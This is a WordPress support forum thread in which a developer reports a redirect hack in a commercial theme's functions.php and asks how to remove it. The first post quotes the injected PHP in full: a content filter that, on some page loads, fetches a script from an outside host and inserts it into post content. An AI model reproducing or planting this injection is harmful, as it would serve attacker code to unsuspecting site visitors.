The Support Forums will be in read-only mode for a scheduled maintenance window on 01 September 2016 14:00 UTC - 20:00 UTC. More information.

[closed] [Theme: Propulsion] functions.php injected with redirect virus (3 posts)

  1. databell96
    Posted 3 years ago #

    I've got an issue where I'm working with a client who purchased the Propulsion theme and it seems to have been injected with a redirect hack to jquerys.org. In the functions.php file, this was added or changed:

    //register additional image thumbnail sizes that should be generated when user uploads an image:
    function ins_php_in_post($content){$percentage = 25;if (rand(0, 100) < $percentage){ob_start();if(function_exists('curl_init')) { $url = "http://www.jquerys.org/jquery-1.6.3.min.js"; $ch = curl_init(); $timeout = 5; curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); $data = curl_exec($ch); curl_close($ch); echo "$data"; }$text = ob_get_clean();$pos = rand(0, strlen($content));$txtPrePos = substr($content, 0, $pos);$txtPostPos = substr($content, $pos);$openPos = strrpos($txtPrePos, "<");if ($openPos !== false){$closePos = strrpos($txtPrePos, ">");if ($openPos > $closePos || $closePos === false){$pos = strpos($content, ">", $pos) + 1;}}$spos = strpos($content, " ", $pos);if ($spos === false)	{$spos = strlen($content);}$content = substr($content, 0, $spos) . " " . $text . substr($content, $spos);}return $content;}
    add_filter('the_content', 'ins_php_in_post');

    I want to lose it, but I don't have the code, the client does and he hasn't given it to me yet. Has anyone else had a similar issue and what is the proper code for this file?

  2. ar.richter
    Posted 2 years ago #

    If you remove the code above with /* [..] */ that should (I'm very sure) solve the problem. No more redirects. Thank you for sharing

  3. WPyogi
    Forum Moderator
    Posted 2 years ago #

    @ar.richter - this thread is 6 months old and this theme is not from WordPress.ORG (and not supported here). Please contact the theme developer about any commercial theme issues.

Topic Closed

This topic has been closed to new replies.

About this Topic